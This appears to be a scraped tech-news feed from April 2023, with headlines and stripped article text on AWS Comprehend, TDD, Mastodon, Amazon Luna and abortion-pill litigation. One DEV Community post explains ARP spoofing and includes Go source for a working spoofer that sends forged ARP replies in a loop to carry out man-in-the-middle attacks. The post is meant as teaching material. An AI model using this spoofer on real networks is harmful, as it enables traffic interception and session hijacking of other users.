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AWS	AWS Machine Learning Blog	Amazon Comprehend document classifier adds layout support for higher accuracy	https://aws.amazon.com/blogs/machine-learning/amazon-comprehend-document-classifier-adds-layout-support-for-higher-accuracy/	Amazon Comprehend document classifier adds layout support for higher accuracyThe ability to effectively handle and process enormous amounts of documents has become essential for enterprises in the modern world Due to the continuous influx of information that all enterprises deal with manually classifying documents is no longer a viable option Document classification models can automate the procedure and help organizations save time and resources …	2023-04-19 20:33:47
海外TECH	Ars Technica	Reddit will start charging AI models learning from its extremely human archives	https://arstechnica.com/?p=1933080	archivesllms	2023-04-19 20:32:25
海外TECH	Ars Technica	First teaser for Star Trek: Strange New Worlds S2 is giving us all the feels	https://arstechnica.com/?p=1933065	exploration	2023-04-19 20:27:54
海外TECH	MakeUseOf	6 Apps That Use Spaced Repetition to Help You Study More Efficiently	https://www.makeuseof.com/spaced-repetition-apps-to-study-efficiently/	Apps That Use Spaced Repetition to Help You Study More EfficientlyAre you tired of studying for hours only to forget everything later Check out these apps that use spaced repetition to help you study smarter	2023-04-19 20:30:17
海外TECH	DEV Community	Test-Driven Daydreams	https://dev.to/bytebodger/test-driven-daydreams-297g	Test Driven DaydreamsMy thoughts on Test Driven Development TDD have certainly fluctuated over time At this point it s far from being a new concept Wikipedia traces its origins to the early s I believe that I first heard of it about a dozen years ago During that time my personal exposure to it has varied wildly from one company to the next This is not my pro TDD fanboy article Nor is it my click baity anti TDD rant Rather I m writing about it now because I think I ve settled on an approach to TDD that works for me Of course your mileage may vary TDD FanboysMy first problem with TDD similar to problems that I experience with almost any other approach to dev is that it spawns its own legion of fanboys Granted this is true of sooooo many other aspects of software development But if you re trying to have a calm rational discussion with someone about TDD it s nearly impossible to do so with those who ve already drank the TDD Kool Aid So while I know that these points will do absolutely nothing to quiet the TDD mouth breathers I m still gonna point out a few basic facts TDD is not a cure all You can be a great developer without ever worrying about TDD You can be a crappy developer who adheres tightly to TDD TDD can be a great tool Just like a hammer can be a great tool But that doesn t mean that it s the right tool for every job TDD is too often confused with general concepts of unit testing Writing unit tests does not necessarily mean that you re following TDD Having X of test coverage does not qualify or disqualify you as doing TDD And doing TDD doesn t solve the ongoing questions of exactly what should or should not be tested within a given codebase The above facts are not meant as any kinda take down of TDD But I ve grown a little tired of hearing the TDD fanboys talk about it as though it solves many issues around testing that it doesn t really solve at all The Challenges of TDD GroupthinkMost of my qualms haven t been with the concepts of TDD They ve been with the difficulty in getting everyone on a team to adhere to those concepts or to even agree on what those concepts are I ve been in some shops where TDD was talked about like an unreachable dream I ve been in others where it was presented as some kind of standard that we all should be following and then no one followed it I ve been in places where it was openly agreed that we would be implementing TDD and then those guidelines were blatantly ignored as soon as we faced the first pending deadline I ve also seen scenarios where an underlying desire for TDD purity culminated in abandonment of the approach altogether For example some believe that the right way to do TDD is to have someone else write the original tests before you begin writing the code that would adhere to those tests And that approach isn t wrong But it requires a lot of coordination and team cohesion And when that coordination fails to materialize everyone just drops the whole TDD idea and goes back to doing things as they did before Let me absolutely clear on this I ve been in several different shops where TDD was discussed proposed championed but I ve never been in a dev shop where it was actually implemented as a regular practice And I ll also be honest here and admit that when the rest of the team easily abandoned their TDD dreams I tended to fall inline with the group I also wanna be crystal clear in saying that I know there are some dev shops out there that rigidly adhere to TDD I m not claiming that they don t exist I m just stating that in my anecdotal experience TDD is frequently talked about but has rarely never been truly implemented Going It AloneOne of my recent aha moments was around the idea that I don t need to have Full Team Buy In in order to do TDD In other words if Joe and Mary on my team don t bother with TDD that doesn t mean that I can t still write my code with TDD In the past I tended to see this as a team centric decision And to be frank it is better if the whole team is aligned on something like this But that doesn t mean that everyone has to be in lockstep That may sound like I m advocating for you to cowboy your way through the dev process But I think it s perfectly reasonable to say This is the way that I know to write high quality code So this is the way that I m going to attack this problem In practice there are many aspects of dev where I enforce my own personal coding standards For example If I m building a new database driven app feature I start first with the database I design the database schema or at least I ensure that I fully understand the existing schema before I ever begin writing the first line of code I don t ask others if they want me to do it this way I don t worry whether the others will design their features with the same approach For me I know the best way to get the feature built So I just go about doing it that way Similarly if I m integrating with web services or if I m building those web services I always ensure that I have an up to date Swagger file or other endpoint schema model before I begin writing the code that will consume those services If others don t build their code in the same way that s fine But I m not going to abandon the best way that I know to deliver quality code simply because others eschew those methods So my point here is that while it would be great if your whole team was on the same TDD page you don t need to confine TDD to being a team level decision If you find that you are writing better quality code by using TDD methods then do it Contract Driven DevelopmentAnother recent aha moment for me has been that IMHO TDD isn t really test driven development it s contract driven development What do I mean by that Well in the examples above I explained how I don t start building a database driven application until I ve either designed the database schema or I at least understand the existing schema Because the data layer in many respects defines what your application can or cannot do So if you re trying to build features without understanding the underlying data model you re probably setting yourself up for some nasty rewrites down the line If I m integrating with endpoints the same concept applies But what about when you re writing code that doesn t directly hit a database or an endpoint Is there any particular data contract that you need to be aware of Yes Almost all code contains a proliferation of smaller code bits Those bits are typically called methods or functions or components Methods functions components all share some common features Specifically each one expects zero to many inputs and they all return zero to many outputs Those inputs and outputs are your data contract When you first started coding you probably began by cranking out functions or methods or components where the inputs and outputs where defined on the fly You added new inputs arguments as needed And you added new outputs return values as needed And when you were done hopefully the function did what you wanted it to do TDD flips that equation around It forces you to define and thus think deeply about exactly what those inputs outputs should be before you ever begin writing the function In other words TDD forces you to define the data contract for a function before you ever write the function Continuous FeedbackTDD has another benefit that I believe is rarely discussed This benefit is that of continuous feedback If you ve worked in any professional dev environment you re probably accustomed to feedback You receive it every time you submit a pull request or any time your team does broader code reviews If you re accustomed to pair programming you may also receive live feedback in real time But coding is often a solitary experience Unless you re doing a live coding session your first real feedback on any piece of code often comes at the point when you feel your code is completed and you re submitting it to be reviewed merged But if you re following TDD you start to receive that feedback from the moment that you begin coding By defining the tests first tests which should initially fail until you complete the code you re defining upfront a data contract And then as you write that code the tests continually tell you whether or not it passes This is doubly useful once you move on to refactoring your code While there s nothing inherently wrong about coding outside of TDD there are some worrisome behaviors that often exist when people are coding without it For example most non TDD devs don t even bother to run the tests until they ve completed their code Only once they notice that something s failing and thus they can t commit it will they start to pay close attention to the tests But TDD devs are much more likely to have the tests running during the entire time that they re coding They do this because they re constantly getting feedback on the code that they re writing and they can correct errors much earlier in the process Non TDD devs are also much more likely to craft tests that encompass cognitive biases Specifically confirmation bias They write code Then they slap some tests on it And do the tests pass Of course they do Because whether they realize it or not they ve written tests that are designed to pass what they ve written rather than writing tests that are designed to confirm the desired functionality In this model the tests are not providing continuous feedback They re only providing feedback after the fact Even worse this feedback too often only serves to confirm what the dev has already coded Time CrunchesThe biggest problem that TDD advocates run into is the time crunch There s been a lot of research that indicates that in the long run proper adherence to TDD should save you and your team time But in the short run TDD practices can feel like a burden Any time you need to spend significant effort pre planning your work that s an additional time burden If you re writing your tests first and you re putting in significant effort to ensure that those tests are meaningful and helpful then that absolutely qualifies as pre planning So it is possible that on at least some of your tasks a TDD approach will make you look slower to in the eyes of your fellow devs This is especially true if those devs don t follow TDD practices Consider the following potential scenario Your team hasn t adopted TDD as a standard Of course you can still write your code with TDD But sometimes the difference in approaches will be apparent as you work through a sprint Imagine that Joe is on your team He can t be bothered with TDD You ve both been given tasks of similar scope each estimated to take a day of effort Joe finishes his task by noon Joe s actually a really good developer and his code looks fine Remember Being a non TDD developer doesn t mean that you re a bad developer despite what any TDD fanboys may claim At the end of the day you haven t quite finished your task and you let your team lead know that you ll need a little more time before you submit the code Is there a risk here that you ll come to be seen as something of a lesser dev Well to be perfectly frank with you the answer is Yes If the broader team doesn t embrace TDD and all they see is that Joe finished a task estimated at one day in half a day and you completed a similarly estimated task in more than a day this could lead some to hold you in less regard But honestly if that s the way your team judges work then you may need to think carefully about whether this is the right fit for you long term Of course over time it should become apparent to your colleagues that your methods yield solid code that s prone to fewer reworks But I also wanna be frank with you Some shops will focus myopically and brutally on nothing but raw time But I d encourage you to think about it this way If someone wants me to start developing an endpoint driven application but they can t won t give me the schemas I can expect from those endpoints and they won t let me develop the endpoints myself then I m simply not going to start cranking out code just to satisfy someone who wants to know that I m coding Even if that coding is blind I simply won t do it And if that causes a problem with my team I ll find somewhere else to work Similarly when you re adhering to TDD you re taking the time to define your own data contract upfront before you ever begin the real work of coding You shouldn t be afraid to follow that approach And if that causes ongoing problems on your dev team then you really should consider finding a team that will support quality coding TDD As A Personal DirectiveIn conclusion my central point is that previously I always saw TDD as a team based decision We either adopted it for the entire group or we didn t and I ignored it altogether But it doesn t have to be like that There are many aspects of dev where I ve learned over years of experience what works best for me to deliver quality code When I encounter those scenarios again I don t ask someone s permission to write the code in the best way that I know how I simply do it TDD can be that type of personal directive Yes it would be ideal if everyone on your team feels the same But if you find that you can write much better code by using TDD then do it	2023-04-19 20:42:50
海外TECH	DEV Community	I moved to indieweb.social 👋🏻	https://dev.to/erinposting/i-moved-to-indiewebsocial-36io	I moved to indieweb social After plenty of consideration I ve made a new home in the Fediverse Erin B she her erinposting indieweb social Indieweb Social Post Following Followers ·Social Media Manager thepracticaldev fosstodon orgWriter gardener homebody‍️‍Cat companion hound parent gay wife indieweb social I ve just migrated my account from the general massive barely moderated mastodon social to indieweb social a smaller server dedicated to evolving the open web and humane tech I m excited to build new connections in the space and see where it takes me PS ーin case you missed it follow the link below to read about DEV s switch to Fosstodon org a few months back We ve moved to Fosstodon 🦣 Erin Bensinger for The DEV Team・Dec ・ min read meta mastodon fediverse socialmedia What about you brave Fediverse explorers Have you switched servers before Do you like where you ve landed	2023-04-19 20:23:50
海外TECH	DEV Community	The Core Pillars of a Digital Creators Community	https://dev.to/ytskk/the-core-pillars-of-a-digital-creators-community-4doh	The Core Pillars of a Digital Creators CommunityHi after thinking about the shape of the community I would like to see I have come to some conclusions It should provide developers with a supportive and enriching environment in which they can learn collaborate and grow In this post I will elaborate on the features that make such a community stand out including interview preparation collaboration opportunities and knowledge sharing Solving Interview Questions with Detailed ExplanationsUnderstanding that job interviews can be stressful and challenging particularly for developers Solve common interview questions and receive detailed explanations helping build confidence and improve problem solving skills Mock InterviewsPracticing interviews is essential for success I would try to provide opportunities for members to participate in mock interviews with experienced developers simulating real world scenarios and offering invaluable feedback for improvement Help with Code SolutionsAsk for help in solving their codes and get guidance from peers which promotes collaborative learning Team Building for Project DevelopmentFor those looking for like minded developers to work together on projects Offer a space for participants to network and form teams ensuring that they work together to bring their ideas to life Code ReviewsPlatform for members to review each other s code enabling to learn from one another improve coding skills and maintain code quality It s very hard sometimes to know if the code is actually good or not and it s great to get advice on improvements Speeches Articles and Content CreationHost a space for members to share their knowledge and expertise through speeches articles and other forms of content Creators of such content practice and the rest of us get useful material Jams and HackathonsHost registry coding jams and hackathons offering developers an opportunity to push their boundaries collaborate and innovate Dev InsightsShare developer s tips tricks and stories about implementing various functions and overcoming challenges promoting a culture of continuous learning and improvement Showcasing AccomplishmentsCelebrate its members successes by providing opportunities for them to showcase their accomplishments such as completed projects job promotions or successful collaborations Resource RecommendationsRecommend valuable resources books articles courses and videos My Digital Creator JourneyTell us your success story Where did you start what were your emotions difficulties thoughts What was the path What could have been done differently If you are interested in at least one item or have ideas congratulations the community is waiting for you Be active let me know	2023-04-19 20:21:25
海外TECH	DEV Community	🛜 What is ARP Spoofing?	https://dev.to/kkrypt0nn/what-is-arp-spoofing-52dh	🛜What is ARP Spoofing Original postThe ARP protocol is used by computers daily or even minutely It is a trivial protocol so that computers are aware of the hardware address also called MAC address that is associated to the IP address for example This protocol like many others is prone to spoofing attacks and this is what I will explain below The ARP ProtocolThe Address Resolution Protocol is a communication protocol used for discovering the link layer address such as a hardware address associated with a given internet layer address typically an IPv address This mapping is a critical function in the Internet protocol suite This definition goes fairly directly to the point but I d like to show the ARP protocol in a more graphical way than just text The ARP protocol is a protocol that will make sure that given an IPv address you will receive the respective hardware address of the device This is very crucial as the ethernet hardware communicates with hardware addresses and not IP addresses Example ScenarioSo let s suppose we have four components Client aka Device ARouterDevice B with IP Address Device C with IP Address I the Client and Device A want to send data to the Device B though I only know its IPv address So now that I need its hardware address I will broadcast an ARP Request packet on the network to receive the hardware address of the Device B The Device B will recognize that I am requesting its hardware address based on its IPv address so it will send a ARP Reply packet to me with its hardware address inside Example of normal ARP scenario Once I have the hardware address of the device it will be saved in my personal ARP table for future use The ARP table can be seen in the Terminal with the following commands arp a Sniffing with WiresharkAll of the described scenario above can be easily viewable on Wireshark when you filter the packets Broadcasted ARP Request packets In the packets above we can definitely see that the Huawei device needs the hardware address of three IPv addresses Now if the IPv address on the network exists the device in question will reply with an ARP Reply packet This can also be seen in Wireshark ARP Reply sent to the Huawei device Here the hardware address of the Apple device is sent to the Huawei device and will be saved in its ARP table for caching ARP SpoofingNow that the ground knowledge of the ARP protocol is known it may be interesting to finally understand what ARP Spoofing really is ExplanationThe definition of a spoofing attack is In the context of information security and especially network security a spoofing attack is a situation in which a person or program successfully identifies as another by falsifying data to gain an illegitimate advantage So this already gives a lot of information of what ARP Spoofing really is By doing an ARP Spoofing attack we will identify as another device by falsifying data Some people may already know how this can be possible Think about it some time on your own and then continue reading If you ve been thinking about the ARP Reply packet you are absolutely right It s fairly simple Coming back to the legitimate use of the ARP protocol scenario above we as attackers will simply spam ARP Reply packets and say that we are the device with the IPv the device with IPv etc etc In the end we can be any device from the network and fool other devices into sending their packets to us instead of the legitimate device This is called a Man in the Middle attack Spamming ARP Reply packets during ARP Spoofing attack It s worth noting that during an ARP Spoofing attack a device may not even send an ARP Request packets the attacker will just keep spamming ConsequencesSome of the major consequences of ARP Spoofing are the following Session Hijacking The relevant packets will be sent to the attacker Man in the Middle Cause of the Session Hijacking consequence as the packets will be sent to the attacker DDoS The attacker could spam ARP Reply packets that indicate the hardware address of all the IPv addresses of the network is de ad be ef which will lead to all packets of being sent to a single target Example Code for ARP SpoofingBefore ending this it may be interesting to see how to perform an ARP Spoofing attack yourself and educate yourself Of course we could download a tool like the average script kiddie but this is very boring ️Note that depending what you may do with ARP Spoofing it may be illegal you ve been warned I ve coded my small ARP spoofer in Go because I love the language though it can very well be coded in other languages for example Python with Scapy Let s get started Hackers gonna hack Session StructureI ve created a Session structure in a session go file to store relevant information that will be used later on package mainimport github com google gopacket pcap github com kkryptnn logger go net Some wacky way to get the outbound IP address func getOutboundIP net IP conn err net Dial udp if err nil panic err defer conn Close return conn LocalAddr net UDPAddr IP type Session struct iface net Interface device pcap Interface ip net IP mac net HardwareAddr logger logger Logger func NewSession Session return amp Session ip getOutboundIP This will try to resolve the IP if it s inaccurate you can hard code it logger logger NewLogger The getOutboundIP function will resolve the IP address in use you can hard code it if you wish Crafting ARP Reply PacketsTo craft custom ARP Reply packets we need to first create an Ethernet layer which will contain the source and destination hardware addresses The second layer we need is obviously the ARP layer here we will give both the source and desintion IPv and destination hardware address We then need to serialize the layers to make sure they are correct if they are then we can return the buffer all of that has been done in the arp go file package mainimport github com google gopacket github com google gopacket layers net type Address struct ip net IP mac net HardwareAddr func NewAddress ip net IP mac net HardwareAddr Address return amp Address ip ip mac mac func a Address GetIP net IP return a ip func a Address GetMAC net HardwareAddr return a mac var Options gopacket SerializeOptions FixLengths true ComputeChecksums true func NewARPReplyPacket src Address dst Address byte error ethLayer layers Ethernet SrcMAC src mac DstMAC dst mac EthernetType layers EthernetTypeARP arpLayer layers ARP AddrType layers LinkTypeEthernet Protocol layers EthernetTypeIPv HwAddressSize ProtAddressSize Operation layers ARPReply SourceHwAddress src mac SourceProtAddress src ip To DstHwAddress dst mac DstProtAddress dst ip To buffer gopacket NewSerializeBuffer if err gopacket SerializeLayers buffer Options amp ethLayer amp arpLayer err nil return nil err return buffer Bytes nil ️The source here is us the attacker with our normal IPv and hardware address And the destination is the device we want to be so our targetted device aka the victim Sending the packetsThe final step is just about sending the crafted packets in a loop But first we need to know the interface on which we want to send these as well as the device I ve added some small code to first find the interface by comparing the outbound IP with the IP of every interface on the device once it matches that s the interface we need Knowing the name of device to send the packets through is the same play we loop over all devices loop over all its addresses check the IPv Then we open the device and try to send the spoofed packets all of that has been done in the main go file package mainimport github com google gopacket pcap net strings time Obviously these are not accurate amp fictive addressesconst TargetIP TargetMAC de ad be ef Timeout time Second TotalPacketsToSend func main Create a new session s NewSession Get the interface ifaces err net Interfaces if err nil s logger Fatal Failed to retrieve interfaces err Error return for iface range ifaces if iface HardwareAddr nil continue addrs err iface Addrs if err nil s logger Fatal Failed to retrieve the addresses of the interface err Error for addr range addrs if strings Split addr String s ip String Set the current interface amp MAC address s iface iface s mac iface HardwareAddr break Get the device to listen to devices err pcap FindAllDevs if err nil s logger Fatal Failed to retrieve devices err Error return for device range devices for address range device Addresses if address IP To String s ip String s device device break Open the device and be prepared to send the spoofed packets handler err pcap OpenLive s device Name true pcap BlockForever if err nil s logger Fatal Failed to open device err Error return Prepare the ARP reply packet src NewAddress s ip s mac mac net ParseMAC TargetMAC dst NewAddress net ParseIP TargetIP mac arpReply NewARPReplyPacket src dst s logger Info Sending spoofed ARP replies to dst GetIP String with MAC dst GetMAC String every Timeout String Send the packets for i i lt TotalPacketsToSend i err handler WritePacketData arpReply if err nil s logger Error Failed to send packet err Error time Sleep Timeout ResultWhen running the small tool we can clearly see the ARP Spoofing attack going on when opening Wireshark ARP Spoofing attack going on ConclusionARP Spoofing can lead to serious consequences depending on the scenario though the ARP protocol has a legitimate use as well so you cannot just block the entire ARP protocol There are some mitigations against ARP Spoofing attacks that I do not know by heart but can be found easily when searching on Google on your own In the meantime enjoy doing some MITM attacks MITM Address Resolution Protocol Wikipedia Spoofing attack Wikipedia	2023-04-19 20:12:35
海外TECH	Engadget	Amazon Luna hits Samsung's smart TV Gaming Hub in Canada, Germany and UK	https://www.engadget.com/amazon-luna-hits-samsungs-smart-tv-gaming-hub-in-canada-germany-and-uk-203744962.html?src=rss	Amazon Luna hits Samsung x s smart TV Gaming Hub in Canada Germany and UKIn March Amazon s Luna gaming service expanded to Canada Germany and the United Kingdom Now the platform is available on Samsung Gaming Hub in those same countries As a refresher the hub is an app that comes with to Samsung Smart TVs Among other features it offers a way to quickly access a host of cloud gaming services including GeForce Now and Xbox Cloud Gaming In the US Amazon Luna users have had the ability to access the service through Samsung Gaming Hub since last August If you re an Amazon Prime subscriber you can access a small library of complimentary games The selection of free games with Prime changes every month but this month s lineup includes Yakuza Kiwami and The Jackbox Party Pack You can subscribe to additional channels from Amazon and Ubisoft to access additional titles If you want to give Luna a try on your Samsung TV you will need an internet connection capable of download speeds between Mbps to Mbps and a way to control the games You can use an Amazon Luna controller a Bluetooth or USB compatible controller or a phone with the Luna controller app installed This article originally appeared on Engadget at	2023-04-19 20:37:44
海外科学	NYT > Science	Abortion Pill Maker Sues F.D.A. to Protect Drug if a Court Orders It Off the Market	https://www.nytimes.com/2023/04/19/health/abortion-pill-genbiopro-mifepristone.html	Abortion Pill Maker Sues F D A to Protect Drug if a Court Orders It Off the MarketThe suit by GenBioPro the generic maker of mifepristone is the latest strand in the intense legal battle over abortion pills	2023-04-19 20:30:07
海外TECH	WIRED	The Supreme Court Has Delayed Its Abortion Pill Decision	https://www.wired.com/story/supreme-court-delays-abortion-pill-decision/	abortion	2023-04-19 20:04:09
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